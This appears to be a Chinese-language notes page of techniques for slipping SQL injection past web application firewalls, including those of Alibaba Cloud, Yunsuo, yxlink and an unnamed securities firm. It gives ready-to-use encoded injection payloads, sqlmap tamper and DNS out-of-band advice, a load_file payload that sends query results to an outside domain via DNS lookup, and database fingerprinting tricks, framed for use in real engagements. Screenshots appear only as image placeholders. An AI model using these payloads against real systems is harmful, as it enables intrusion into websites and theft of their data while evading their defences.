1、某证券公司不知名waf

首先是一个这样的包,存在注入,其内容必须含有dwxy这样的字段,不然跑不出来
image.png
其次可以比较好绕过这个waf
Dwxy’ and ord(mid 被拦截
image.png
Dwxy’ and ord%0a(mid 绕过

image.png
image.png
tamper简单改个脚本即可
image.png
后面发现使用协议未覆盖也能绕过,如下所示
image.png

2、某Nginx的waf

一个注入
image.png
image.png
盲注,使用 —tamper=luanginx 这个脚本能直接过掉
image.png
但是这里有个玄学的地方是,一开始检测出存在注入的linkedLoanLogo这个存在注入的地方死活跑不出来,后来直接-r 不标明注入点,跑出来了另外的一个参数存在注入,且能跑出来。这里跑出来的是一个叫inflowDate1的参数。
值得一提的是,这里可以使用—dns-domain来进行dns的外带,具体可以去网上找下—dns的用法

3、某SRC防火绕过

在某次实战中,发现使用一些相较偏门的函数即可绕过
例如
user_name()
user_name() 用户在数据库中的名字
CHARINDEX()
第一个参数你要查找的char,第二个参数你被查找的字符串 返回参数一在参数二的位置
select charindex(‘a’,’lihan’)

利用一些平时较少的函数的时候,可能waf没能智能识别到,从而我们可以利用上述函数来进行数据库名的读取

4、绕过云锁

1、phpmyadmin白名单
image.png
2、恶意混淆form-data
image.png

3、垃圾数据image.png

4、别人总结了一份
云锁绕过20210923.pdf

5、阿里云注入bypass.pdf

5、阿里云waf绕过

  1. %201%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
  1. 1 REGEXP "[...%0a%23--]" union selecT + %0b2,%0b%0b%0a%0b++ %0a%0b%0b%0b%0a%0b +++ %0buser%0b%0b%0a%0b %0b++%0a%0b%0a%0bREGEXP "[...%0a%23]" %0b%0a%0b%0a%0b%0a%0b%0a %0b%0afrom +%0b%0b%0a%0a%0buser%0a%0b%0a++ --+
  1. ?title=111 REGEXP "[...%0a%23]" union %0A +Select%0A1,2 --+

此外,还发现阿里云waf对%0c十分敏感
image.png
image.png

bypass 阿里云

  1. 1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23

保存

  1. ?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

6、byass 阿里云waf 封IP

  1. --user-agent "YAYSGDGAsggasudusjysyydstdstdtstdsrdrarsadtstssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss"

7、yxlink绕过

输入payload -> WAF-{检测百分号 -> 尝试解码符合url格式的百分号及其所带字符(如%20) -> 无法解码则忽略百分号 -> 正则匹配危险字符} -阻断-> SQL

这里对waf解码unicode的过程进行猜测
寻找百分号 -> 判断百分号及其所带字符是否符合unicode编码格式(%u000a) -> 符合则直接进行编码
很明显这里waf忽略了检测符合编码的字符是否能成功解码的过程

那么传入的payload: 【union—%u+回车+select】 在waf的此流程下则被编码为:
【union —被waf错认为可解码的unicode编码ect】 很显然waf将 【%u+回车+sel】这个”符合”unicode编码规则的字符串进行了错误解码
导致最终输出的payload在waf看来显然没有危险,从而造成了bypass
image.png

8、他人的某次oracle绕过

在 Oracle 中文版本中,中文括号()可以代替英文()而且不报错!

9、post转multipart 转文件上传

——
name=”par”; filename =1.jpg

xxxxx’ and ‘’’


10、实战中黑盒测试中判断 DBMS 的技巧

1、MySQL 的判断

(1)如果说既能够使用– -作为注释标志,又能够使用#做注释标志,那么基本可以确定是 MySQL (2)行间注释 /!version command/,这样的语法是 MySQL 专属,其中 version 是一个数字,如果 MySQL 的版本大于这个数字的话就会把 command 作为 SQL 语句的一部分。 /!50000SELECT/ 如果 MySQL 的版本大于5.00.00的话就会把 SELECT 识别出来。这个特性同样可以用来探测 MySQL 的版本号 (3) 既可以使用 SUBSTR 函数又可以使用 SUBSTRING 函数,也可以基本确定是 MySQL。 (4) 能够使用 trim 函数、 rtrim 函数、 ltrim 函数,但是不能使用 btrim 函数(Postgresql 以及 AWS Redshift SQL 所有),可以基本确定后端使用了 MySQL 。 (5) 一些 MySQL 特有的函数,比如 conv、load_file(读取文件的函数需要权限)、benchmark 等。 (6) MySQL 独有的数据库也可作为判断依据,即 information_schema, mysql。 (7) 构造除 0,即 1/0 等,若是 MySQL 则会返回 NULL。

SQL Server 的判断

(1) 能够利用 waitfor delay time做到延时注入,可以确定是 SQL Server。 (2) 若能够做到 UNION 注入,那么直接查看 @@version 的值是一个判断数据库的更好的选择(这在 MySQL 中也可使用) (3)几个特殊的表也可用于判断。 master..sysmessages、master..sysservers (4)如果能够使用 TOP 语法,很有可能是 SQL Server SELECT TOP 1 FROM table_name; (5)能够使用 + 号连接字符串,可以判定是 SQL Server SELECT ‘a’ + ‘a’; c. ORACLE 的判断 (1) oracle版本的探测方法 select version from v$instance; (2)支持 minus select 是 ORACLE 的显著特征 (3) ORACLE 支持使用 || 作为字符串连接符,当然 MySQL 在 sql_mode 为 ANSI 时也支持,但是这需要手动设置,所以能够使用 || 作为字符串连接符可以用于判定目标数据库是否为 ORACLE d. PostgreSQL (1)PostgreSQL 有一个区别于其他 SQL 数据库的特殊操作符,::,官方称之为 typecast,即他可以用于声明类型。 SELECT 1::CHAR;会将 1 作为字符串类型,若使用SELECT 1.1::INT; 则会将 1.1 转化为 1,则该特性可用于判断后端是否为PostgreSQL